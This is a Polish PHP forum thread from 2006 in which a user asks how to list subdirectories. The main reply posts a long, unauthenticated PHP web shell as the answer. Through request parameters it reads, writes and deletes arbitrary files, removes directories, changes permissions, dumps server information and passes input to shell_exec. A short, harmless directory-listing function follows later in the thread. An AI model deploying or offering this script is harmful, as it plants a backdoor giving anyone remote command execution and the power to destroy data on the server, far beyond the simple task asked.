MitS
Top Coder
 
Postów: 386
Zarejestrowano: 1-1-2006
Miasto: Olsztyn
Offline
Nastrój: Uhahany
|
wysłano w 8-9-2006 o godz. 15:29 |
|
|
penetracja katalogu
Witam!
Mam problem, otóż próbuje napisać skrypt php, który by wypisywał katalogi w katalogu. Np.
folder główny: AAA
podfolder: bbb
pod folder: ccc
i miał by wypisywać w przeglądarce nazwy katalogów bbb i ccc gdyż one są w katalogu wcześniej ustalonym AAA.
Jak takie coś wykonać ??
Męcze się z tym od 4 godzin i niestety wszystkie moje próbu zakończone fiaskiem.
Będę wdzieczny za pomoc.
Pozdrawiam
Jesteśmy sami sobie winni zawsze 100% ! Wałki na innych i te nie przespane noce ....
|
|
|
Lexus
Coder
 
Postów: 126
Zarejestrowano: 17-12-2005
Miasto: Wrocław
Offline
|
wysłano w 8-9-2006 o godz. 17:20 |
|
|
Bardzo fajny skrypt pana Radmena Polecam analize...
| Kod: |
<?php
if($_GET['action'] == 'info') {
phpinfo();
}
$url = $_SERVER["REQUEST_URI"]."&action=info";
echo '<a href="'.$url.'" target="_blank">php info()</a><br>';
echo("<form method=\"post\">
katalog/plik: <input size=\"60\" type=\"text\" name=\"file\" size=\"20\" value=\"$file\"><br>
chmod: <input size=\"4\" type=\"text\" name=\"chmod\" maxlength=\"4\" value=\"".$_POST['chmod']."\"><br>
<input type=\"submit\" value=\"Poka? plik\" name=\"what\">
<input type=\"submit\" value=\"Zapisz do pliku\" name=\"what\">
<input type=\"submit\" value=\"Katalog\" name=\"what\">
<input type=\"submit\" value=\"Usu? plik\" name=\"what\"> <input type=\"submit\" value=\"Info\" name=\"what\">
<input type=\"submit\" value=\"Nowy katalog\" name=\"what\"> <input type=\"submit\" value=\"Usu? katalog\"
name=\"what\"> <input type=\"submit\" value=\"Chmod\" name=\"what\"><input type=\"submit\" value=\"shell\"
name=\"what\"><br>
<textarea rows=20 cols=70 name='zawartosc' style='width: 100%'>");
switch($what)
{
case 'Poka? plik':
if(!@readfile("$file")) {
echo "Nie ma takiego pliku";
}
break;
case 'Zapisz do pliku':
$zawartosc = stripslashes($zawartosc);
$zawartosc = str_replace("\n", "", $zawartosc);
$plik = fopen($file, "w+");
flock($plik, 2);
fputs($plik, $zawartosc);
flock($plik, 3);
fclose($plik);
readfile($file);
break;
case 'Katalog':
if(trim($file) == null) {
$file = "./";
}
if(!preg_match("/./i", $file)) {
$file = "./".$file;
}
if($handle = @opendir($file))
{
while($pliki = readdir($handle)) {
echo $pliki."\n";
// Je?eli wylistowane pliki s? katalogami to zostanie wyswietlona ich zawartosc
if(is_dir($file."/".$pliki) && $pliki != "." && $pliki != "..") {
if($handle2 = @opendir($file."/".$pliki)) {
while($sub = readdir($handle2)) {
if($sub != "." && $sub != "..") {
echo " |-".$sub;
if(is_dir($file."/".$pliki."/".$sub)) {
echo " [dir]";
}
echo "\n";
}
}
closedir($handle2);
}
else {
echo '[dir - blad podczas wylistowania]';
}
}
}
closedir($handle);
}
else
{
echo 'Nie ma takiego katalogu';
}
break;
case 'Usu? plik':
if(@unlink($file)) {
echo("Plik Zosta? SKASOWANY!!! Teraz ju? go nie odzyskasz...");
} else {
echo("Nie uda?o si? skasowac pliku...");
}
break;
case 'Info':
echo("Wersja PHP: ".phpversion()."\n");
echo("Software: ".$_SERVER['SERVER_SOFTWARE']."\n");
echo("Platforma: ".$_ENV['OS']."\n");
break;
case 'Nowy katalog':
if(@mkdir($file)) {
echo("Zosta? stworzony nowy katalog");
} else {
echo("Wyst?pi?y problemy przy tworzeniu katalogu");
}
break;
case 'Usu? katalog':
if(@rmdir($file)) {
echo("Skasowano katalog");
} else {
echo("Nie uda?o si? skasowa? katalogu, mo?e sa w nim jakies pliki?");
}
break;
case 'Chmod':
$chmod = $_POST['chmod'];
if(strlen($chmod) == "3") {
$chmod = "0".$chmod;
}
if(@chmod($file, $chmod)) {
echo "Uda?o si? zmieni? chmody!\n";
echo 'Chmody pliku zosta?y zmienione na: '.$chmod;
} else {
echo 'Niestety nie uda?o si? zmieni? chmodów...';
}
break;
case 'shell':
echo(shell_exec($file));
break;
}
?>
|
[Wyedytowany dnia 8-9-2006 > Lexus]
|
|
|
MitS
Top Coder
 
Postów: 386
Zarejestrowano: 1-1-2006
Miasto: Olsztyn
Offline
Nastrój: Uhahany
|
wysłano w 9-9-2006 o godz. 16:43 |
|
|
ooo super bede miał co robić wieczorem
Pozdrawiam
Jesteśmy sami sobie winni zawsze 100% ! Wałki na innych i te nie przespane noce ....
|
|
|
klimatem
Newbie
Postów: 2
Zarejestrowano: 3-9-2008
Offline
|
wysłano w 26-9-2008 o godz. 14:06 |
|
|
Proponuję sprawę trochę uprościć:
| Kod: | | function read_catalog($dir) { $wynik['dir'] = array(); $wynik['file'] = array(); $dir = str_replace(' ', '_',
$dir); if (is_dir($dir)) { if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file
!= "..") { if ( is_dir( $dir . $file . '/') ) { $wynik['dir'][] = $file; } else { if (substr($file, 0, 1)!='.'&& $file!='index.html' && $file!='index.php') $wynik['file'][] = $file; } } } } } return $wynik; }
| Funkcja zwraca listę plików i katalogów z lokalizacji $dir. Jeśli chcesz zagłębić się w katalogi wystarczy
wywołać ją rekurencyjnie.
|
|
|
|
|
|
Forum dla nastolatków, Forum młodzieżowe, wszystko co interesuje młodzież.
Bukmacherzy internetowi, Zakłady bukmacherskie, sprawdzone typy i statystyki sportowe.
Pozycjonowanie, wymiana linków systemy wymiany linków, wypromuj swoją stronę w wyszukiwarkach.
Zagraj w sudoku, zasady gry, metody rozwiązywania i gry w sudoku.
Łysienie, wypadanie włosów to nie koniec marzeń o bujnych włosach.
Najlepsza grafika w sieci - tylko na naszym forum graficzne - znajdziesz u nas gotowe sygnaturki i userbary oraz porady jak stworzyć avatar i inną grafikę.
Producent drzwi pcv wrocław - okna wrocław to dobry wybór.
Solidni fachowcy, tania budowa domu i mieszkań.
Copyright © 2005-2007 by coding-portal.com
Programowanie dla każdego. Programowanie w c++, java, delphi, pascal, perl oraz innych językach. Tworzenie stron w html, xhtml, php z użyciem mysql, css oraz ich pozycjonowanie.
[zapytań: 18]
[PHP: 25.0% - SQL: 75.0%]
|
|